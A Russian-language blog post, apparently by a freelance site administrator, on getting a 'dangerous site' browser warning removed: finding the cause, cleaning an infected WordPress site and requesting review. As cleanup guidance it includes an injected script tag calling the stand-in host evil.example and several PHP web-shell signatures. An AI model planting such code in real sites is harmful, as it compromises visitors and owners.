Браузер пишет Опасный сайт: что делать владельцу
Откуда у браузеров берётся пометка опасный сайт, как проверить причину и как снять её правильно за один заход.
Содержание
- Кто решает, что сайт опасный
- Где посмотреть, за что вас отметили
- Какие три типа угроз чаще всего ловят малый бизнес
- Чек-лист: что почистить до подачи на пересмотр
- Как проверить, что сайт реально чистый
- Подача запроса на пересмотр
- Сроки снятия пометки
- Профилактика, чтобы это не повторилось
- Когда звать подрядчика, а не делать самому
- Частые вопросы
Красный экран ставит не браузер, а Safe Browsing от Google и антивирусные базы Яндекса. Порядок один: найти в Search Console и Вебмастере, за что отметили, вычистить заражение, закрыть точку входа и подать на пересмотр. Яндекс снимает пометку обычно за сутки, Google от 12 часов до трёх суток.
Зашли на свой сайт, а вместо страницы видите красный экран и текст «Сайт впереди содержит вредоносные программы». Знакомая картина. За шесть лет работы я снимал такую плашку десятки раз, и почти всегда хозяин сайта узнаёт о проблеме именно так: открыл с телефона показать клиенту, а там вот это. В статье разберём, кто именно ставит сайт в «опасные», как точно понять причину и как снять пометку за один заход, а не ходить по кругу с отказами.

Кто решает, что сайт опасный
Самое частое заблуждение: владельцы думают, что пометку ставит сам Chrome или Яндекс Браузер на основе какого-то локального анализа. Это не так. Браузер только показывает то, что ему сообщает централизованный сервис проверки.
Главных таких сервисов два:
- Google Safe Browsing. Им пользуются Chrome, Edge, Firefox, Brave, Opera, Vivaldi, Safari (через эквивалентный API). По сути это база URL и доменов, которые Google пометил как небезопасные.
- Яндекс Safe Browsing. Используется Яндекс Браузером и встроен в фильтрацию выдачи Яндекса. Там же лежат данные о фишинге, мошенничестве и заражённых сайтах.
Когда Chrome загружает страницу, он отправляет в Safe Browsing хеш URL и получает ответ: чисто или нет. Если нет, отрисовывается красный полноэкранный варнинг. Тот, кто внимательно читал предупреждение, уже видел маленькую ссылку «Подробнее» — это и есть подсказка, что произошло.
В Яндекс Браузере логика похожая, но движков фактически два: Safe Browsing от Google и собственный антивирусный модуль Яндекса, который ловит свои сигнатуры. Поэтому бывает так, что Chrome открывает сайт нормально, а Яндекс Браузер ругается. И наоборот.
Зачем им вообще это надо
Поисковики и браузеры не хотят, чтобы пользователь словил вирус по их ссылке. Если человек кликнул в Яндексе по выдаче и попал на фишинг, виноват окажется Яндекс. Поэтому фильтры жёсткие, лучше перебдеть.
Для владельца это значит простое правило: не пытайтесь спорить с системой и не жалуйтесь на несправедливость. Алгоритм увидел паттерн, его задача защитить пользователя, а наша задача убрать паттерн и доказать, что чисто.
Где посмотреть, за что вас отметили
Самое полезное действие на этом этапе — не гадать, а посмотреть в первоисточник. Источников ровно два, и оба бесплатные.
Google Search Console
Если домен подтверждён в Search Console, заходите в раздел «Проблемы безопасности». Там будет конкретное описание: «Внедрённый вредоносный код», «Социальная инженерия», «Нежелательное ПО». Будут URL-примеры, на которых Google поймал проблему. Часто там же приведён фрагмент подозрительного кода, который инжектится.
Если домена в Search Console нет, добавьте прямо сейчас, верифицируйтесь TXT-записью DNS или загрузкой HTML-файла. Без Search Console вы будете чинить сайт вслепую, а потом ждать, пока Google «сам разберётся». Не разберётся.
Google Transparency Report
Прямой адрес проверки: https://transparencyreport.google.com/safe-browsing/search. Вбиваете домен и получаете публичный отчёт: помечен ли, по какой категории, сколько раз и когда последний раз сканировался. Это полезно для отчёта клиенту: показал скриншот, видно, что сайт реально в базе.
Яндекс Вебмастер
Для пометки в Яндекс Браузере и в выдаче нужен Яндекс Вебмастер. Раздел «Диагностика» — «Безопасность и нарушения». Если там есть запись, увидите тип угрозы и список заражённых страниц.
Какие три типа угроз чаще всего ловят малый бизнес
По моему опыту 90% случаев укладываются в три типа. Если знать их в лицо, диагностика быстрее.
1. Внедрённый вредоносный код (malware injection)
Это классика. На сайт залили бэкдор, через бэкдор положили скрипт-инжектор, который добавляет в HTML код типа <script src="https://evil.example/payload.js"></script> или закодированный в base64 кусок JavaScript. Скрипт перенаправляет посетителей на партнёрки, фишинг или майнер.
Сигнатуры в коде, которые сразу намекают:
eval(base64_decode("aHR0cHM6Ly9..."));
@assert($_REQUEST["x"]);
preg_replace("/.*/e", $_POST["c"], "");
Эти конструкции в нормальном WordPress-плагине почти не встречаются. Если grep по всему сайту находит десятки таких строк, это и есть причина пометки.
2. Социальная инженерия (фишинг)
Сайт показывает поддельные формы логина, фейковые предупреждения «Ваш Windows заражён», кнопки «скачать обновление Flash Player». Часто это делается через скрытую папку, например /wp-content/uploads/2024/12/secure-login/, куда злоумышленник положил клон страницы Сбера или Госуслуг.
Малый бизнес часто узнаёт об этом не от клиентов, а от хостера: тот сам пробежал scan и увидел чужие HTML-файлы, не похожие на ваш WordPress.
3. Нежелательное ПО (unwanted software)
Сайт раздаёт файлы, которые Google классифицирует как PUA (potentially unwanted applications). Это может быть взлом-кряк, «ускоритель браузера», фейковый антивирус. У легального малого бизнеса это редкость, но бывает: загрузили на сайт zip с условным «образовательным материалом», внутри лежит изменённый exe, а Google этот exe распознаёт как adware.
Отдельный случай: ваш сайт хостит SDK или скрипт, который сам Google недавно начал считать нежелательным. Бывало, что обычный счётчик стал PUA после очередного апдейта классификации. Лечение — выкинуть скрипт.
Чек-лист: что почистить до подачи на пересмотр
Подавать заявку на пересмотр имеет смысл, только когда сайт реально чистый. Иначе автоматическая проверка снова найдёт следы и выдаст отказ, после чего следующая заявка будет рассматриваться дольше.
| Шаг | Что сделать | Команда / место |
|---|---|---|
| 1 | Снять полный бэкап грязного состояния | tar czf dirty.tgz public_html/ |
| 2 | Сменить все пароли (хостинг, FTP, БД, админка CMS) | панель хостинга |
| 3 | Найти все недавно изменённые файлы | find . -mtime -14 -type f |
| 4 | Проверить файлы по эталонной checksum CMS | для WP — wp core verify-checksums |
| 5 | Удалить ВСЕ инжекты в .htaccess, index.php, header.php, wp-config.php | редактор + diff с чистой копией |
| 6 | Прочистить таблицу wp_options (поля siteurl, home, active_plugins) | phpMyAdmin или WP-CLI |
| 7 | Снести все неиспользуемые темы и плагины | админка WP |
| 8 | Обновить ядро CMS, темы, плагины до актуальных версий | админка / composer |
| 9 | Поставить файрвол (Wordfence, MalCare, Astra) | плагин |
| 10 | Проверить, что фронт чистый со стороны браузера | DevTools — вкладка Network |
Особое внимание uploads/. Там не должно быть .php, .phtml, .php5, .phar файлов вообще. Команда для проверки:
find wp-content/uploads -type f ( -name "*.php*" -o -name "*.phtml" -o -name "*.phar" ) -ls
Если что-то нашлось — смотрите, что внутри, и почти наверняка удаляйте. В нормальном WordPress в uploads php-файлов не бывает.

Как проверить, что сайт реально чистый
Удалить инжекты — половина дела. Надо убедиться, что никакая страница больше не отдаёт то, за что вас наказали.
Проверка снаружи без браузерных кешей
Откройте сайт через мобильную сеть с другого устройства, на которое раньше не заходили. Часто инжекты срабатывают только для определённого user-agent или только из определённых стран. Проверка с десктопа в Chrome ничего не даст, если редирект включается только на iPhone из поисковика.
Полезный однострочник, чтобы проверить, отдаёт ли сайт что-то подозрительное мобильному User-Agent:
curl -A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15"
-e "https://www.google.com/"
-L -s https://example.ru/ | grep -iE "eval|base64|atob|fromCharCode|location.replace"
Если вылезли подозрительные вызовы JavaScript — значит инжект ещё на месте, копайте дальше.
Проверка через сторонние сканеры
Я обычно прогоняю сайт через два-три внешних чекера, чтобы получить независимую оценку:
sitecheck.sucuri.net— бесплатный sucuri-сканер. Покажет, что лежит на странице, какие подключаются скрипты.urlvoid.com— агрегатор репутаций по нескольким базам.virustotal.com— можно сабмитнуть URL, увидеть мнения 70+ движков.
Это не заменит подачу заявки в Google, но даёт уверенность, что вы реально вычистили инжект, а не просто переименовали файл.
Проверка изнутри Search Console
В Search Console есть инструмент проверки конкретного URL: вставляете адрес заражённой страницы, жмёте «Проверить URL», потом «Проверить опубликованный URL». Google заходит на страницу прямо сейчас и сообщает результат. Если он вернёт зелёный ответ для всех страниц, помеченных как заражённые, можно подавать запрос на пересмотр.
Подача запроса на пересмотр
В Google
Заходите в Search Console — «Проблемы безопасности». Там, где написана причина, есть кнопка «Запросить проверку». Жмёте.
Откроется форма. Здесь важно, что писать. Не надо лить эмоции «мы не виноваты, у нас порядочный бизнес». Гугл интересует только конкретика. Шаблон, который у меня обычно проходит с первого раза:
Добрый день. Сайт example.ru был заражён скриптом-инжектором, добавлявшим в шаблон header.php вредоносный JavaScript, перенаправлявший пользователей на сторонние ресурсы. Точкой входа стала уязвимость в плагине Contact Form 7 версии X.X. Что было сделано: 1) Восстановлен чистый WordPress core по checksum. 2) Удалены все инжекты в шаблоне темы, .htaccess и таблице wp_options. 3) Обновлены все плагины до актуальных версий. 4) Сменены пароли админки, FTP и базы данных. 5) Установлен Wordfence Premium и проведён полный скан. 6) Включена двухфакторная аутентификация для всех админов. Прошу провести повторную проверку. Спасибо.
Структура важна: коротко, по пунктам, по делу. Гугл не читает мотивационных писем, заявку обрабатывает алгоритм плюс быстрый просмотр модератора, если что-то спорное.
В Яндексе
В Яндекс Вебмастере — «Безопасность и нарушения» — «Я всё исправил». Аналогично: жмёте кнопку, добавляете короткое описание. У Яндекса процесс обычно быстрее, но и фильтр менее агрессивный.
Сроки снятия пометки
Реальные сроки в 2026 году по моему опыту:
- Google: от 12 часов до 3 суток. Если в первые сутки не сняли — не паникуйте, не подавайте повторную заявку, иначе сбросите счётчик. Обычно к концу третьих суток снимают.
- Яндекс: чаще всего в течение 24 часов.
Если через 5 суток в Google ничего не изменилось — значит автоматическая проверка нашла что-то ещё. Возвращайтесь в Search Console, смотрите, какие URL остались с проблемой. Нередко выясняется, что почистили основной сайт, а на поддомене или в /old/ копии всё ещё лежит мусор.
Что делать, если повторно отказали
Не сдавайтесь и не пытайтесь хитрить. Алгоритм понимает, что вы пытались пройти проверку через перенаправление, через cloak, через временное закрытие сайта — это только усугубит. Делаете заново всё с нуля:
- Поднимаете локально или на staging копию сайта.
- Чистите там, проверяете каждый файл.
- Заливаете обратно полную чистую копию, перезатирая всё.
- Снова прогоняете внешние сканеры.
- Подаёте новую заявку с обновлённым описанием.

Профилактика, чтобы это не повторилось
Снять пометку — вопрос техники. Не словить её снова — вопрос дисциплины. Минимум:
- Регулярные обновления CMS, тем и плагинов. Раз в неделю проверка, раз в месяц фактическое обновление с тестом на staging.
- Файрвол с актуальными правилами. WordPress — Wordfence или iThemes. Битрикс — проактивный фильтр в актуальной редакции.
- Бэкапы не на том же хостинге, а минимум на S3-совместимом хранилище. Чистый бэкап семидневной давности спасёт больше, чем десять антивирусов после факта.
- Двухфакторка для всех админов CMS и панели хостинга.
- Ограничение доступа к
/wp-admin/по IP или по cookie. Banal, но фильтрует 95% автоматических ботов. - Запрет выполнения PHP в
uploads/через.htaccess:
<FilesMatch ".(php|phtml|php5|phar)$">
Require all denied
</FilesMatch>
И последнее. Если вы платите за абонентское обслуживание, эти пункты должны быть в списке услуг. Если их нет — значит обслуживания у вас нет, есть только обещание реакции на инциденты. Разница принципиальная.
Когда звать подрядчика, а не делать самому
Делать самому имеет смысл, если у вас есть опыт работы с Linux-сервером, понимание PHP и SQL, и время. Если ничего из этого нет — вы потратите три-четыре дня на разбор, в итоге всё равно что-то пропустите, заявка будет отклонена, сайт будет лежать в красной плашке ещё неделю. По деньгам это дороже, чем заплатить за час-два работы человеку, который такие случаи разбирает регулярно.
Сигналы, что пора звать на помощь:
- Не понимаете, чем
eval(base64_decode(...))отличается от обычного кода. - Не знаете, как зайти на сервер по SSH или через FTP.
- В админку CMS не попадаете, потому что её закрыло вместе с сайтом.
- Уже подали одну заявку, получили отказ, и не понимаете, что в ней было неправильно.
- Сайт — основной канал заявок, и каждый день простоя стоит больше, чем работа специалиста.
В моих абонементах тариф «Авария» включает разбор такого инцидента целиком: чистка, заявка на пересмотр, отчёт. Если сейчас горит — пишите в контактах, смотрим прямо сегодня. Другие материалы по безопасности и восстановлению лежат в рубрике безопасность.
Частые вопросы
Что делать, если браузер пишет про опасный сайт
Не подавать заявку на пересмотр сразу. Сначала посмотреть в Search Console и Вебмастере, какой тип угрозы нашли, вычистить файлы и базу, закрыть уязвимость. Заявка на невычищенном сайте только удлиняет карантин.
Сколько держится пометка
После успешной проверки Яндекс обычно снимает её в течение суток, Google от 12 часов до трёх суток. Если заражение вернулось, следующий пересмотр идёт дольше.
Где посмотреть, за что отметили сайт
В Google Search Console раздел с проблемами безопасности, в Яндекс Вебмастере раздел с диагностикой. Там указан тип угрозы и примеры заражённых адресов, с них и начинают разбор.
Может ли это быть ложным срабатыванием
Может, но редко. Чаще срабатывает на обфусцированных скриптах и на сторонних виджетах, которые подгружают чужой код. Прежде чем спорить, стоит проверить сайт независимым сканером.